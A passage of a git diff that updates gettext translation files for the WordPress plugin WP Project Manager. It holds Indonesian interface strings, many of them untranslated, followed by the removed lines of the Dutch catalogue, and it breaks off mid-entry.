views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Target yang akan datang" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "kiri" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Daftar Tugas Baru" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "Pengaturan E-Mail" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "Tipe E-Mail" + +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "Model HTML" + +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "Text Biasa" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "Batasan Unggah Berkas" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +#, fuzzy +#| msgid "Due date" +msgid "due date" +msgstr "Tanggal penyelesaian" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Lihat Tugas" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "Pesan Baru" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Lihat Pesan" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Lihat Proyek" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "Perbarui Daftar" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +#~ msgid "Project created by %s" +#~ msgstr "Proyek dibuat oleh %s" + +#~ msgid "Project details updated by %s" +#~ msgstr "Detail proyek diperbarui oleh %s" + +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Pesan \"%s\" dihapus oleh %s" + +#~ msgid "%s deleted a comment" +#~ msgstr "%s menghapus sebuah komentar" + +#~ msgid "Add a comment..." +#~ msgstr "Tambahkan sebuah komentar..." + +#~ msgid "Messages" +#~ msgstr "Pesan" + +#~ msgid "message post type" +#~ msgstr "tipe pos pesan" + +#~ msgid "Edit Message" +#~ msgstr "Sunting Pesan" + +#~ msgid "Search Messages" +#~ msgstr "Cari Pesan" + +#~ msgid "Parent Message" +#~ msgstr "Induk Pesan" + +#~ msgid "Add New Milestone" +#~ msgstr "Tambah Target Baru" + +#~ msgid "New Milestone" +#~ msgstr "Target Baru" + +#~ msgid "View Milestone" +#~ msgstr "Lihat target" + +#~ msgid "Search Milestone" +#~ msgstr "Cari target" + +#~ msgid "Parent Milestone" +#~ msgstr "Target Induk" + +#~ msgid "project manager post type" +#~ msgstr "tipe pos manajer proyek" + +#~ msgid "Add Project" +#~ msgstr "Tambah Proyek" + +#~ msgid "Edit Project" +#~ msgstr "Sunting Proyek" + +#~ msgid "Search Project" +#~ msgstr "Cari Proyek" + +#~ msgid "Parent Project" +#~ msgstr "Proyek Induk" + +#~ msgid "Add Task List" +#~ msgstr "Tambah Daftar Tugas" + +#~ msgid "Add New Task List" +#~ msgstr "Tambah Daftar Tugas Baru" + +#~ msgid "Edit Task List" +#~ msgstr "Sunting Daftar Tugas" + +#~ msgid "View Task List" +#~ msgstr "Lihat Daftar Tugas" + +#~ msgid "Search Task List" +#~ msgstr "Cari Daftar Tugas" + +#~ msgid "Parent Task List" +#~ msgstr "Daftar Tugas Induk" + +#~ msgid "Add New Task" +#~ msgstr "Tambah Tugas Baru" + +#~ msgid "Edit Task" +#~ msgstr "Sunting Tugas" + +#~ msgid "New Task" +#~ msgstr "Tugas Baru" + +#~ msgid "Search Task" +#~ msgstr "Cari Tugas" + +#~ msgid "Parent Task" +#~ msgstr "Tugas Induk" + +#~ msgid "Delete project" +#~ msgstr "Hapus proyek" + +#~ msgid "Add this comment" +#~ msgstr "Tambahkan komentar ini" + +#~ msgid "late" +#~ msgstr "telat" + +#~ msgid "Attached to %s by %s" +#~ msgstr "Dilampirkan ke %s oleh %s" + +#~ msgid "Error: Message not found" +#~ msgstr "Kesalahan: Pesan tidak ditemukan" + +#~ msgid "Error: Project not found" +#~ msgstr "Kesalahan: Proyek tidak ditemukan" + +#~ msgid "Error: Permission denied" +#~ msgstr "Kesalahan: Izin ditolak" + +#~ msgid "Message %s created by %s" +#~ msgstr "Pesan %s dibuat oleh %s" + +#~ msgid "Message %s updated by %s" +#~ msgstr "Pesan %s diperbarui oleh %s" + +#~ msgid "To-do list %s created by %s" +#~ msgstr "Daftar tugas %s dibuat oleh %s" + +#~ msgid "To-do list %s updated by %s" +#~ msgstr "Daftar tugas %s diperbarui oleh %s" + +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "Daftar tugas \"%s\" dihapus oleh %s" + +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "Tugas %s ditambahkan ke daftar tugas %s oleh %s" + +#~ msgid "To-do %s updated by %s" +#~ msgstr "Tugas %s diperbarui oleh %s" + +#~ msgid "To-do %s completed by %s" +#~ msgstr "Tugas %s diselesaikan oleh %s" + +#~ msgid "Marked to-do as done" +#~ msgstr "Tandai tugas sudah selesai" + +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "Tugas %s ditandai belum selesai oleh %s" + +#~ msgid "Re-opened to-do" +#~ msgstr "Tugas yang dibuka kembali" + +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "Tugas \"%s\" dihapus dari daftar tugas %s oleh %s" + +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "Target \"%s\" ditambahkan oleh %s " + +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "Target \"%s\" diperbarui oleh %s " + +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "Target \"%s\" dihapus oleh %s " + +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "Target \"%s\" ditandai selesai oleh %s " + +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "Target \"%s\" ditandai belum selesai oleh %s " + +#~ msgid "General" +#~ msgstr "Umum" + +#~ msgid "No Messages Found" +#~ msgstr "Tidak Ada Pesan Ditemukan" + +#~ msgid "No Messages Found in Trash" +#~ msgstr "Tidak Ada Pesan Ditemukan di Sampah" + +#~ msgid "No Milestone Found" +#~ msgstr "Tidak Ada Taget Ditemukan" + +#~ msgid "No Milestone Found in Trash" +#~ msgstr "Tidak Ada Target Ditemukan di Sampah" + +#~ msgid "No Project Found in Trash" +#~ msgstr "Tidak Ada Proyek Ditemukan di Sampah" + +#~ msgid "No Task List Found" +#~ msgstr "Tidak Ada Daftar Tugas Ditemukan" + +#~ msgid "No Task List Found in Trash" +#~ msgstr "Tidak Ada Daftar Tugas Ditemukan di Sampah" + +#~ msgid "No Task Found" +#~ msgstr "Tidak Ada Daftar Tugas Ditemukan" + +#~ msgid "No Task Found in Trash" +#~ msgstr "Tidak Ada Daftar Tugas Ditemukan di Sampah" + +#~ msgid "Select co-workers" +#~ msgstr "Pilih teman kerja" + +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "Apakah Anda yakin untuk menghapus tugas ini?" + +#~ msgid "Add this to-do" +#~ msgstr "Tambahkan tugas ini" + +#~ msgid "Add a new to-do" +#~ msgstr "Tambah tugas baru" + +#~ msgid "-- milestone --" +#~ msgstr "-- target --" + +#~ msgid "Are you sure to delete this to-do list?" +#~ msgstr "Apakah Anda yakin untuk menghapus daftar tugas ini?" + +#~ msgid "Update comment" +#~ msgstr "Perbarui komentar" + +#~ msgid "Edit milestone" +#~ msgstr "Sunting target" + +#~ msgid "Mark un-complete" +#~ msgstr "Tandai belum selesai" + +#~ msgid "To-do List" +#~ msgstr "Daftar Tugas" + +#~ msgid "Notify Co-workers" +#~ msgstr "Informasikan teman kerja" + +#~ msgid "thread" +#~ msgstr "tulisan" + +#~ msgid "Discuss this to-do list" +#~ msgstr "Diskusikan daftar tugas ini" + +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "ukuran berkas dalam Megabyte, misal: 2" + +#~ msgid "New Project Subject" +#~ msgstr "Subjek Proyek baru" + +#~ msgid "New Project Body" +#~ msgstr "Konten Proyek Baru" + +#~ msgid "New Message Subject" +#~ msgstr "Subjek Pesan Baru" + +#~ msgid "New Message Body" +#~ msgstr "Isi Pesan Baru" + +#~ msgid "New Comment Subject" +#~ msgstr "Subjek Komentar Baru" + +#~ msgid "New Assigned Task Subject" +#~ msgstr "Subjek Tugas yang Ditugaskan Baru" + +#~ msgid "-- assign to --" +#~ msgstr "-- ditugaskan untuk --" + +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "Untuk melampirkan, pilih " +#~ "berkas dari komputer Anda." + +#~ msgid "%d Comments" +#~ msgstr "%d Komentar" + +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Dielesaikan oleh %s pada %s)" + +#~ msgid "Tasklist name" +#~ msgstr "Nama daftar tugas" + +#~ msgid "Add a to-do" +#~ msgstr "Tambah tugas" + +#~ msgid "Message details here" +#~ msgstr "Detail pesan di sini" + +#~ msgid "Details about milestone (optional)" +#~ msgstr "Detail target (opsional)" + +#~ msgid "Reopen" +#~ msgstr "Buka kembali" + +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "Unduh atau lihat diskusi." + +#~ msgid "No Files Found!" +#~ msgstr "Berkas Tidak Ditemukan!" + +#~ msgid "Add New" +#~ msgstr "Tambah baru" + +#~ msgid "No messages found! How about adding one?" +#~ msgstr "Tidak ada pesan ditemukan! Bagaimana jika mebuat satu baru?" + +#~ msgid "← back" +#~ msgstr "← kembali" + +#~ msgid "No Milestone Found!" +#~ msgstr "Target Tidak Ditemukan!" + +#~ msgid "Add new milestone" +#~ msgstr "Tambah target baru" + +#~ msgid "Project Info" +#~ msgstr "Info Proyek" + +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "Tidak ada daftar tugas ditemukan!" + +#~ msgid "Discuss this to-do" +#~ msgstr "Diskusikan tugas ini" diff --git a/languages/wedevs-project-manager-nl_NL.po b/languages/wedevs-project-manager-nl_NL.po index 4e2cea280..e135b56a8 100644 --- a/languages/wedevs-project-manager-nl_NL.po +++ b/languages/wedevs-project-manager-nl_NL.po @@ -1,2069 +1,2069 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:53+0600\n" -"Last-Translator: Tareq Hasan \n" -"Language-Team: Tareq Hasan \n" -"Language: nl\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"X-Poedit-KeywordsList: _e;__;gettext_noop\n" -"X-Poedit-Basepath: .\n" -"X-Generator: Poedit 2.0.8\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" -"X-Poedit-SearchPath-0: ..\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Bericht" - -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Takenlijst" - -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Taak" - -#: core/Notifications/Emails/New_Comment_Notification.php:68 -#, fuzzy -#| msgid "Files" -msgid "File" -msgstr "Bestanden" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "Update Project" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "Laad Meer..." - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Toegestane bestanden" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "Instellingen" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "Project Manager" - -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Projecten" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Tasklist detail" -msgid "Task list id is required." -msgstr "Takenlijst detail" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s heeft een reactie gegeven op een %s" - -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s heeft een reactie gegeven op een %s" - -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s heeft een reactie gegeven op een 